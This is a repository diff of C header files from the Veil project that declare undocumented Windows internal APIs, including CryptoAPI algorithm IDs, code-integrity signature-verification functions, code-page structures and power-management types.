#define CALG_KEA_KEYX (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_KEA)
#define CALG_HUGHES_MD5 (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_ANY|ALG_SID_MD5)
#define CALG_SKIPJACK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_SKIPJACK)
#define CALG_TEK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_TEK)
#define CALG_CYLINK_MEK (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_CYLINK_MEK) // Deprecated. Do not use
#define CALG_SSL3_SHAMD5 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5)
#define CALG_SSL3_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL3_MASTER)
#define CALG_SCHANNEL_MASTER_HASH (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MASTER_HASH)
#define CALG_SCHANNEL_MAC_KEY (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MAC_KEY)
#define CALG_SCHANNEL_ENC_KEY (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_ENC_KEY)
#define CALG_PCT1_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_PCT1_MASTER)
#define CALG_SSL2_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL2_MASTER)
#define CALG_TLS1_MASTER (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_TLS1_MASTER)
#define CALG_RC5 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC5)
#define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC)
#define CALG_TLS1PRF (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF)
#if (NTDDI_VERSION >= NTDDI_WINXP)
#define CALG_HASH_REPLACE_OWF (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF)
#define CALG_AES_128 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_128)
#define CALG_AES_192 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_192)
#define CALG_AES_256 (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_256)
#define CALG_AES (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES)
#endif //(NTDDI_VERSION >= NTDDI_WINXP)
#if (NTDDI_VERSION > NTDDI_WINXPSP2)
#define CALG_SHA_256 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256)
#define CALG_SHA_384 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384)
#define CALG_SHA_512 (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512)
#endif //(NTDDI_VERSION > NTDDI_WINXPSP2)
#if (NTDDI_VERSION >= NTDDI_VISTA)
#define CALG_ECDH (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH)
#define CALG_ECDH_EPHEM (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ECDH | ALG_SID_ECDH_EPHEM)
#define CALG_ECMQV (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV)
#define CALG_ECDSA (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA)
#define CALG_NULLCIPHER (ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_ANY | 0)
#endif //(NTDDI_VERSION >= NTDDI_VISTA)
#if (NTDDI_VERSION >= NTDDI_WIN10_RS1)
#define CALG_THIRDPARTY_KEY_EXCHANGE (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY)
#define CALG_THIRDPARTY_SIGNATURE (ALG_CLASS_SIGNATURE | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY)
#define CALG_THIRDPARTY_CIPHER (ALG_CLASS_DATA_ENCRYPT | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY)
#define CALG_THIRDPARTY_HASH (ALG_CLASS_HASH | ALG_TYPE_THIRDPARTY | ALG_SID_THIRDPARTY_ANY)
#endif //(NTDDI_VERSION >= NTDDI_WIN10_RS1)
#include <pshpack8.h>
typedef struct _MINCRYPTOAPI_BLOB
{
UINT32 Size;
_Field_size_bytes_(Size) UINT8* Data;
} MINCRYPT_INTEGER_BLOB, * PMINCRYPT_INTEGER_BLOB,
MINCRYPT_UINT_BLOB, * PMINCRYPT_UINT_BLOB,
MINCRYPT_OBJID_BLOB, * PMINCRYPT_OBJID_BLOB,
MINCERT_NAME_BLOB, * PMINCERT_NAME_BLOB,
MINCERT_RDN_VALUE_BLOB, * PMINCERT_RDN_VALUE_BLOB,
MINCERT_BLOB, * PMINCERT_BLOB,
MINCRL_BLOB, * PMINCRL_BLOB,
MINCRYPT_DATA_BLOB, * PMINCRYPT_DATA_BLOB,
MINCRYPT_HASH_BLOB, * PMINCRYPT_HASH_BLOB,
MINCRYPT_DIGEST_BLOB, * PMINCRYPT_DIGEST_BLOB,
MINCRYPT_DER_BLOB, * PMINCRYPT_DER_BLOB,
MINCRYPT_ATTR_BLOB, * PMINCRYPT_ATTR_BLOB;
typedef struct _MINCRYPT_NAME_BLOB
{
_Field_size_bytes_(Size) PCHAR Data;
USHORT Size;
}MINCRYPT_NAME_BLOB, * PMINCRYPT_NAME_BLOB;
#define MINCRYPT_MAX_HASH_LENGTH (64)
#define MINCRYPT_SHA1_LENGTH (160/8)
#define MINCRYPT_SHA256_LENGTH (256/8)
typedef struct _MINCRYPT_CHAIN_ELEMENT
{
ALG_ID HashAlgId; // CALG_SHA1, CALG_SHA_256
UINT32 HashSize; // SHA1(160bit/8), SHA256(256bit/8)
UINT8 Hash[MINCRYPT_MAX_HASH_LENGTH];
MINCRYPT_NAME_BLOB Subject;
MINCRYPT_NAME_BLOB Issuer;
MINCERT_BLOB Certificate;
}MINCRYPT_CHAIN_ELEMENT, * PMINCRYPT_CHAIN_ELEMENT;
typedef struct _MINCRYPT_CHAIN_INFO
{
UINT32 Size;
MINCERT_BLOB* PublicKeys;
UINT32 NumberOfPublicKeys;
MINCERT_BLOB* EKUs;
UINT32 NumberOfEKUs;
#if (NTDDI_VERSION >= NTDDI_WIN10)
PMINCRYPT_CHAIN_ELEMENT ChainElements;
UINT32 NumberOfChainElement;
// ASN.1 blob of authenticated attributes - spcSpOpusInfo, contentType, etc.
MINCRYPT_ATTR_BLOB AuthenticodeAttributes;
// UINT8 Hash[32];
#endif // NTDDI_VERSION >= NTDDI_WIN10
/* memory layout */
// EKUs[NumberOfEKUs]
// PublicKeys[NumberOfPublicKeys]
// AuthenticodeAttributes.Data[AuthenticodeAttributes.Size]
// ChainElements[NumberOfChainElement]
}MINCRYPT_CHAIN_INFO, * PMINCRYPT_CHAIN_INFO;
typedef struct _MINCRYPT_POLICY_INFO
{
UINT32 Size;
UINT32 VerificationStatus;
UINT32 PolicyBits;
MINCRYPT_CHAIN_INFO* ChainInfo;
LARGE_INTEGER RevocationTime; // When was the certificate revoked (if applicable)
#if (NTDDI_VERSION >= NTDDI_WIN10)
LARGE_INTEGER NotBefore; // The certificate is not valid before this time
LARGE_INTEGER NotAfter; // The certificate is not valid after this time
#endif // NTDDI_VERSION >= NTDDI_WIN10
}MINCRYPT_POLICY_INFO, PMINCRYPT_POLICY_INFO;
#include <poppack.h>
/**
* Resets a PolicyInfo struct - frees the dynamically allocated buffer in PolicyInfo (ChainInfo) if not null.
* Zeros the entire PolicyInfo struct.
*
* @param PolicyInfo - the struct to reset.
*
* @return the struct which was reset.
*/
_IRQL_requires_max_(PASSIVE_LEVEL)
MINCRYPTAPI
PVOID
NTAPI
CiFreePolicyInfo(
_Inout_ MINCRYPT_POLICY_INFO* PolicyInfo
);
/**
* Win7SP1-Win8.1 only (KB3033929 installed). Use CiValidateFileObject on Win10!
*
* Given a file digest and signature of a file, verify the signature and provide information regarding
* the certificates that was used for signing (the entire certificate chain)
*
* @note must be attached to the PsInitialSystemProcess first!
*
* @param Hash - buffer containing the digest
*
* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256
*
* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C)
*
* @param SecurityDirectory - pointer to the start of the security directory
*
* @param SizeOfSecurityDirectory - size the security directory
*
* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain
*
* @param SigningTime[out] - when the file was signed (FILETIME format)
*
* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain
*
* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified.
* Various error values otherwise, for example:
* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature
* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked
* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired
*/
_IRQL_requires_max_(PASSIVE_LEVEL)
MINCRYPTAPI
NTSTATUS
NTAPI
CiCheckSignedFile(
_In_ PVOID Hash,
_In_ UINT32 HashSize,
_In_ ALG_ID HashAlgId,
_In_ PVOID SecurityDirectory,
_In_ UINT32 SizeOfSecurityDirectory,
_Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
_Out_ LARGE_INTEGER* SigningTime,
_Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo
);
/**
* Win7SP1-Win8.1 only (KB3033929 installed). Use CiValidateFileObject on Win10!
*
* Checks if the SHA-1 message digest is contained within a verified system catalog
*
* @note must be attached to the PsInitialSystemProcess first!
*
* @param Hash - buffer containing the digest
*
* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256
*
* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C)
*
* @param IsReloadCatalogs - is reload catalogs cache.
*
* @param Always0 - this is for IsReloadCatalogs, Always0 != 0 ? 16 : 24;
*
* @param Always2007F - unknown, always 0x2007F, maybe a mask.
*
* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain.
*
* @param CatalogName[out option] - catalog file name.
*
* @param SigningTime[out] - when the file was signed (FILETIME format)
*
* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain.
*
* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified.
* Various error values otherwise, for example:
* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature
* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked
* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired
*/
_IRQL_requires_max_(PASSIVE_LEVEL)
MINCRYPTAPI
NTSTATUS
NTAPI
CiVerifyHashInCatalog(
_In_ PVOID Hash,
_In_ UINT32 HashSize,
_In_ ALG_ID HashAlgId,
_In_ BOOLEAN IsReloadCatalogs,
_In_ UINT32 Always0,
_In_ UINT32 Always2007F,
_Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
_Out_opt_ UNICODE_STRING* CatalogName,
_Out_ LARGE_INTEGER* SigningTime,
_Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo
);
#if (NTDDI_VERSION >= NTDDI_WIN10)
typedef
_IRQL_requires_same_
_Function_class_(MINCRYPT_ALLOCATE_ROUTINE)
__drv_allocatesMem(Mem)
PVOID
NTAPI
MINCRYPT_ALLOCATE_ROUTINE(
_In_ SIZE_T ByteSize
);
typedef MINCRYPT_ALLOCATE_ROUTINE* PMINCRYPT_ALLOCATE_ROUTINE;
/**
* Parse the publisher name from the certificate
*
* @param Certificate - &PolicyInfo.ChainInfo->ChainElements[x].Certificate
*
* @param AllocateRoutine - used to allocate PublisherName buffer.
*
* @param PublisherName[out] - publisher name.
*
* @return buffer length.
*/
MINCRYPTAPI
NTSTATUS
NTAPI
CiGetCertPublisherName(
_In_ MINCERT_BLOB* Certificate,
_In_ PMINCRYPT_ALLOCATE_ROUTINE AllocateRoutine,
_Out_ PUNICODE_STRING PublisherName
);
MINCRYPTAPI
VOID
NTAPI
CiSetTrustedOriginClaimId(
_In_ UINT32 ClaimId
);
/**
* Given a file object, verify the signature and provide information regarding
* the certificates that was used for signing (the entire certificate chain)
*
* @param FileObject - FileObject of the PE in question
*
* @param Unkonwn1 - unknown, 0 is a valid value. (Unkonwn1 and Unkonwn2 together calculate the minimum support algorithm)
*
* @param Unkonwn2 - unknown, 0 is a valid value. (^ the words above refer to 'CipGetHashAlgorithmForLegacyScenario')
*
* @param PolicyInfo[out] - PolicyInfo containing information about the signer certificate chain.
*
* @param TimeStampPolicyInfo[out] - PolicyInfo containing information about the timestamping authority (TSA) certificate chain.
*
* @param SigningTime[out] - when the file was signed (FILETIME format)
*
* @param Hash - buffer containing the digest
*
* @param HashSize - size of the digest, e.g. 0x14(160bit) for SHA1, 0x20(256bit) for SHA256
*
* @param HashAlgId - digest algorithm identifier, e.g. CALG_SHA1(0x8004), CALG_SHA_256(0x800C)
*
* @return STATUS_SUCCESS if the file digest in the signature matches the given digest and the signer cetificate is verified.
* Various error values otherwise, for example:
* STATUS_INVALID_IMAGE_HASH - the digest does not match the digest in the signature
* STATUS_IMAGE_CERT_REVOKED - the certificate used for signing the file is revoked
* STATUS_IMAGE_CERT_EXPIRED - the certificate used for signing the file has expired
*/
_IRQL_requires_max_(PASSIVE_LEVEL)
MINCRYPTAPI
NTSTATUS
NTAPI
CiValidateFileObject(
_In_ FILE_OBJECT* FileObject,
_In_opt_ UINT32 Unkonwn1,
_In_opt_ UINT32 Unkonwn2,
_Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
_Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo,
_Out_ LARGE_INTEGER* SigningTime,
_Out_ UINT8* Hash,
_Inout_ UINT32* HashSize,
_Out_ ALG_ID* HashAlgId
);
#endif // NTDDI_VERSION >= NTDDI_WIN10
#endif // _KERNEL_MODE
VEIL_END()
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif

View File

@ -0,0 +1,120 @@
/*
* PROJECT: Veil
* FILE: Veil.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
*/
/*
* PROJECT: Mouri's Internal NT API Collections (MINT)
* FILE: MINT.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
*/
/*
* This file is part of the Process Hacker project - https://processhacker.sf.io/
*
* You can redistribute this file and/or modify it under the terms of the
* Attribution 4.0 International (CC BY 4.0) license.
*
* You must give appropriate credit, provide a link to the license, and
* indicate if changes were made. You may do so in any reasonable manner, but
* not in any way that suggests the licensor endorses you or your use.
*/
#pragma once
// Warnings which disabled for compiling
#if _MSC_VER >= 1200
#pragma warning(push)
// nonstandard extension used : nameless struct/union
#pragma warning(disable:4201)
// 'struct_name' : structure was padded due to __declspec(align())
#pragma warning(disable:4324)
// 'enumeration': a forward declaration of an unscoped enumeration must have an
// underlying type (int assumed)
#pragma warning(disable:4471)
#endif
VEIL_BEGIN()
NTSYSAPI USHORT NlsAnsiCodePage;
#ifndef _KERNEL_MODE
#ifdef _NTSYSTEM_
// Try to avoid these, the preferred system ACP/OEMCP is UTF-8 and these are then irrelevent
#define NLS_MB_CODE_PAGE_TAG NlsMbCodePageTag
#define NLS_MB_OEM_CODE_PAGE_TAG NlsMbOemCodePageTag
#else
// Try to avoid these, the preferred system ACP/OEMCP is UTF-8 and these are then irrelevent
#define NLS_MB_CODE_PAGE_TAG (*NlsMbCodePageTag)
#define NLS_MB_OEM_CODE_PAGE_TAG (*NlsMbOemCodePageTag)
#endif // _NTSYSTEM_
extern BOOLEAN NLS_MB_CODE_PAGE_TAG; // TRUE -> Multibyte CP, FALSE -> Singlebyte
extern BOOLEAN NLS_MB_OEM_CODE_PAGE_TAG; // TRUE -> Multibyte CP, FALSE -> Singlebyte
#define MAXIMUM_LEADBYTES 12
typedef struct _CPTABLEINFO
{
USHORT CodePage;
USHORT MaximumCharacterSize;
USHORT DefaultChar;
USHORT UniDefaultChar;
USHORT TransDefaultChar;
USHORT TransUniDefaultChar;
USHORT DBCSCodePage;
UCHAR LeadByte[MAXIMUM_LEADBYTES];
PUSHORT MultiByteTable;
PVOID WideCharTable;
PUSHORT DBCSRanges;
PUSHORT DBCSOffsets;
} CPTABLEINFO, * PCPTABLEINFO;
typedef struct _NLSTABLEINFO
{
CPTABLEINFO OemTableInfo;
CPTABLEINFO AnsiTableInfo;
PUSHORT UpperCaseTable;
PUSHORT LowerCaseTable;
} NLSTABLEINFO, * PNLSTABLEINFO;
#else // !_KERNEL_MODE
//
// Code Page Default Values.
// Please Use Unicode, either UTF-16 (as in WCHAR) or UTF-8 (code page CP_ACP)
//
#define CP_ACP 0 // default to ANSI code page
#define CP_OEMCP 1 // default to OEM code page
#define CP_MACCP 2 // default to MAC code page
#define CP_THREAD_ACP 3 // current thread's ANSI code page
#define CP_SYMBOL 42 // SYMBOL translations
#define CP_UTF7 65000 // UTF-7 translation
#define CP_UTF8 65001 // UTF-8 translation
#include <ntnls.h>
#endif // _KERNEL_MODE
VEIL_END()
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,605 @@
/*
* PROJECT: Veil
* FILE: Veil.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
*/
/*
* PROJECT: Mouri's Internal NT API Collections (MINT)
* FILE: MINT.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
*/
/*
* This file is part of the Process Hacker project - https://processhacker.sf.io/
*
* You can redistribute this file and/or modify it under the terms of the
* Attribution 4.0 International (CC BY 4.0) license.
*
* You must give appropriate credit, provide a link to the license, and
* indicate if changes were made. You may do so in any reasonable manner, but
* not in any way that suggests the licensor endorses you or your use.
*/
#pragma once
// Warnings which disabled for compiling
#if _MSC_VER >= 1200
#pragma warning(push)
// nonstandard extension used : nameless struct/union
#pragma warning(disable:4201)
// 'struct_name' : structure was padded due to __declspec(align())
#pragma warning(disable:4324)
// 'enumeration': a forward declaration of an unscoped enumeration must have an
// underlying type (int assumed)
#pragma warning(disable:4471)
#endif
VEIL_BEGIN()
typedef struct _PROCESSOR_POWER_INFORMATION
{
ULONG Number;
ULONG MaxMhz;
ULONG CurrentMhz;
ULONG MhzLimit;
ULONG MaxIdleState;
ULONG CurrentIdleState;
} PROCESSOR_POWER_INFORMATION, * PPROCESSOR_POWER_INFORMATION;
typedef struct _SYSTEM_POWER_INFORMATION
{
ULONG MaxIdlenessAllowed;
ULONG Idleness;
ULONG TimeRemaining;
UCHAR CoolingMode;
} SYSTEM_POWER_INFORMATION, * PSYSTEM_POWER_INFORMATION;
typedef struct _SYSTEM_HIBERFILE_INFORMATION
{
ULONG NumberOfMcbPairs;
LARGE_INTEGER Mcb[1];
} SYSTEM_HIBERFILE_INFORMATION, * PSYSTEM_HIBERFILE_INFORMATION;
#define POWER_REQUEST_CONTEXT_NOT_SPECIFIED DIAGNOSTIC_REASON_NOT_SPECIFIED
// enum _POWER_REQUEST_TYPE
#define PowerRequestDisplayRequired ((_POWER_REQUEST_TYPE)0)
#define PowerRequestSystemRequired ((_POWER_REQUEST_TYPE)1)
#define PowerRequestAwayModeRequired ((_POWER_REQUEST_TYPE)2)
#define PowerRequestExecutionRequired ((_POWER_REQUEST_TYPE)3)
#define PowerRequestPerfBoostRequired ((_POWER_REQUEST_TYPE)4)
#define PowerRequestActiveLockScreen ((_POWER_REQUEST_TYPE)5)
#define PowerRequestInvalid ((_POWER_REQUEST_TYPE)6)
#define PowerRequestUnknown ((_POWER_REQUEST_TYPE)7)
#define PowerRequestFullScreenVideoRequired ((_POWER_REQUEST_TYPE)8)
#ifndef _KERNEL_MODE
typedef struct _POWER_REQUEST_ACTION
{
HANDLE PowerRequestHandle;
POWER_REQUEST_TYPE RequestType;
BOOLEAN SetAction;
HANDLE ProcessHandle; // Windows 8+ and only for requests created via PlmPowerRequestCreate
} POWER_REQUEST_ACTION, * PPOWER_REQUEST_ACTION;
typedef union _POWER_STATE
{
SYSTEM_POWER_STATE SystemState;
DEVICE_POWER_STATE DeviceState;
} POWER_STATE, * PPOWER_STATE;
typedef enum _POWER_STATE_TYPE
{
SystemPowerState = 0,
DevicePowerState
} POWER_STATE_TYPE, * PPOWER_STATE_TYPE;
#if (NTDDI_VERSION >= NTDDI_VISTA)
typedef struct _SYSTEM_POWER_STATE_CONTEXT
{
union
{
struct
{
ULONG Reserved1 : 8;
ULONG TargetSystemState : 4;
ULONG EffectiveSystemState : 4;
ULONG CurrentSystemState : 4;
ULONG IgnoreHibernationPath : 1;
ULONG PseudoTransition : 1;
ULONG KernelSoftReboot : 1;
ULONG DirectedDripsTransition : 1;
ULONG Reserved2 : 8;
};
ULONG ContextAsUlong;
};
} SYSTEM_POWER_STATE_CONTEXT, * PSYSTEM_POWER_STATE_CONTEXT;
#endif // (NTDDI_VERSION >= NTDDI_VISTA)
#if (NTDDI_VERSION >= NTDDI_WIN7)
typedef struct _COUNTED_REASON_CONTEXT
{
ULONG Version;
ULONG Flags;
union
{
struct
{
UNICODE_STRING ResourceFileName;
USHORT ResourceReasonId;
ULONG StringCount;
_Field_size_(StringCount) PUNICODE_STRING ReasonStrings;
};
UNICODE_STRING SimpleString;
};
} COUNTED_REASON_CONTEXT, * PCOUNTED_REASON_CONTEXT;
#endif // (NTDDI_VERSION >= NTDDI_WIN7)
#endif // !_KERNEL_MODE
typedef enum _REQUESTER_TYPE
{
KernelRequester = 0,
UserProcessRequester = 1,
UserSharedServiceRequester = 2
} REQUESTER_TYPE;
typedef struct _COUNTED_REASON_CONTEXT_RELATIVE
{
ULONG Flags;
union
{
struct
{
ULONG_PTR ResourceFileNameOffset;
USHORT ResourceReasonId;
ULONG StringCount;
ULONG_PTR SubstitutionStringsOffset;
};
ULONG_PTR SimpleStringOffset;
};
} COUNTED_REASON_CONTEXT_RELATIVE, * PCOUNTED_REASON_CONTEXT_RELATIVE;
typedef struct _DIAGNOSTIC_BUFFER
{
SIZE_T Size;
REQUESTER_TYPE CallerType;
union
{
struct
{
ULONG_PTR ProcessImageNameOffset; // PWSTR
ULONG ProcessId;
ULONG ServiceTag;
};
struct
{
ULONG_PTR DeviceDescriptionOffset; // PWSTR
ULONG_PTR DevicePathOffset; // PWSTR
};
};
ULONG_PTR ReasonOffset; // PCOUNTED_REASON_CONTEXT_RELATIVE
} DIAGNOSTIC_BUFFER, * PDIAGNOSTIC_BUFFER;
// The number of supported request types per version
#define POWER_REQUEST_SUPPORTED_TYPES_V1 3 // Windows 7
#define POWER_REQUEST_SUPPORTED_TYPES_V2 9 // Windows 8
#define POWER_REQUEST_SUPPORTED_TYPES_V3 5 // Windows 8.1 and Windows 10 TH1-TH2
#define POWER_REQUEST_SUPPORTED_TYPES_V4 6 // Windows 10 RS1+
typedef struct _POWER_REQUEST
{
union
{
struct
{
ULONG SupportedRequestMask;
ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V1];
DIAGNOSTIC_BUFFER DiagnosticBuffer;
} V1;
#if (NTDDI_VERSION >= NTDDI_WIN8)
struct
{
ULONG SupportedRequestMask;
ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V2];
DIAGNOSTIC_BUFFER DiagnosticBuffer;
} V2;
#endif
#if (NTDDI_VERSION >= NTDDI_WINBLUE)
struct
{
ULONG SupportedRequestMask;
ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V3];
DIAGNOSTIC_BUFFER DiagnosticBuffer;
} V3;
#endif
#if (NTDDI_VERSION >= NTDDI_WIN10_RS1)
struct
{
ULONG SupportedRequestMask;
ULONG PowerRequestCount[POWER_REQUEST_SUPPORTED_TYPES_V4];
DIAGNOSTIC_BUFFER DiagnosticBuffer;
} V4;
#endif
};
} POWER_REQUEST, * PPOWER_REQUEST;
typedef struct _POWER_REQUEST_LIST
{
ULONG_PTR Count;
ULONG_PTR PowerRequestOffsets[ANYSIZE_ARRAY]; // PPOWER_REQUEST
} POWER_REQUEST_LIST, * PPOWER_REQUEST_LIST;
typedef enum _POWER_STATE_HANDLER_TYPE
{
PowerStateSleeping1 = 0,
PowerStateSleeping2 = 1,
PowerStateSleeping3 = 2,
PowerStateSleeping4 = 3,
PowerStateShutdownOff = 4,
PowerStateShutdownReset = 5,
PowerStateSleeping4Firmware = 6,
PowerStateMaximum = 7
} POWER_STATE_HANDLER_TYPE, * PPOWER_STATE_HANDLER_TYPE;
typedef NTSTATUS(NTAPI* PENTER_STATE_SYSTEM_HANDLER)(
_In_ PVOID SystemContext
);
typedef NTSTATUS(NTAPI* PENTER_STATE_HANDLER)(
_In_ PVOID Context,
_In_opt_ PENTER_STATE_SYSTEM_HANDLER SystemHandler,
_In_ PVOID SystemContext,
_In_ LONG NumberProcessors,
_In_ LONG volatile* Number
);
typedef struct _POWER_STATE_HANDLER
{
POWER_STATE_HANDLER_TYPE Type;
BOOLEAN RtcWake;
UCHAR Spare[3];
PENTER_STATE_HANDLER Handler;
PVOID Context;
} POWER_STATE_HANDLER, * PPOWER_STATE_HANDLER;
typedef NTSTATUS(NTAPI* PENTER_STATE_NOTIFY_HANDLER)(
_In_ POWER_STATE_HANDLER_TYPE State,
_In_ PVOID Context,
_In_ BOOLEAN Entering
);
typedef struct _POWER_STATE_NOTIFY_HANDLER
{
PENTER_STATE_NOTIFY_HANDLER Handler;
PVOID Context;
} POWER_STATE_NOTIFY_HANDLER, * PPOWER_STATE_NOTIFY_HANDLER;
typedef struct _POWER_REQUEST_ACTION_INTERNAL
{
PVOID PowerRequestPointer;
POWER_REQUEST_TYPE RequestType;
BOOLEAN SetAction;
} POWER_REQUEST_ACTION_INTERNAL, * PPOWER_REQUEST_ACTION_INTERNAL;
typedef enum _POWER_INFORMATION_LEVEL_INTERNAL
{
PowerInternalAcpiInterfaceRegister,
PowerInternalS0LowPowerIdleInfo, // POWER_S0_LOW_POWER_IDLE_INFO
PowerInternalReapplyBrightnessSettings,
PowerInternalUserAbsencePrediction, // POWER_USER_ABSENCE_PREDICTION
PowerInternalUserAbsencePredictionCapability, // POWER_USER_ABSENCE_PREDICTION_CAPABILITY
PowerInternalPoProcessorLatencyHint, // POWER_PROCESSOR_LATENCY_HINT
PowerInternalStandbyNetworkRequest, // POWER_STANDBY_NETWORK_REQUEST
PowerInternalDirtyTransitionInformation,
PowerInternalSetBackgroundTaskState, // POWER_SET_BACKGROUND_TASK_STATE
PowerInternalTtmOpenTerminal,
PowerInternalTtmCreateTerminal, // 10
PowerInternalTtmEvacuateDevices,
PowerInternalTtmCreateTerminalEventQueue,
PowerInternalTtmGetTerminalEvent,
PowerInternalTtmSetDefaultDeviceAssignment,
PowerInternalTtmAssignDevice,
PowerInternalTtmSetDisplayState,
PowerInternalTtmSetDisplayTimeouts,
PowerInternalBootSessionStandbyActivationInformation,
PowerInternalSessionPowerState,
PowerInternalSessionTerminalInput, // 20
PowerInternalSetWatchdog,
PowerInternalPhysicalPowerButtonPressInfoAtBoot,
PowerInternalExternalMonitorConnected,
PowerInternalHighPrecisionBrightnessSettings,
PowerInternalWinrtScreenToggle,
PowerInternalPpmQosDisable,
PowerInternalTransitionCheckpoint,
PowerInternalInputControllerState,
PowerInternalFirmwareResetReason,
PowerInternalPpmSchedulerQosSupport, // 30
PowerInternalBootStatGet,
PowerInternalBootStatSet,
PowerInternalCallHasNotReturnedWatchdog,
PowerInternalBootStatCheckIntegrity,
PowerInternalBootStatRestoreDefaults, // in: void
PowerInternalHostEsStateUpdate,
PowerInternalGetPowerActionState,
PowerInternalBootStatUnlock,
PowerInternalWakeOnVoiceState,
PowerInternalDeepSleepBlock, // 40
PowerInternalIsPoFxDevice,
PowerInternalPowerTransitionExtensionAtBoot,
PowerInternalProcessorBrandedFrequency, // in: POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_INPUT, out: POWER_INTERNAL_PROCESSOR_BRANDED_FREQENCY_OUTPUT
PowerInternalTimeBrokerExpirationReason,
PowerInternalNotifyUserShutdownStatus,
PowerInternalPowerRequestTerminalCoreWindow,
PowerInternalProcessorIdleVeto,
PowerInternalPlatformIdleVeto,
PowerInternalIsLongPowerButtonBugcheckEnabled,
PowerInternalAutoChkCausedReboot, // 50
PowerInternalSetWakeAlarmOverride,
PowerInternalDirectedFxAddTestDevice = 53,
PowerInternalDirectedFxRemoveTestDevice,
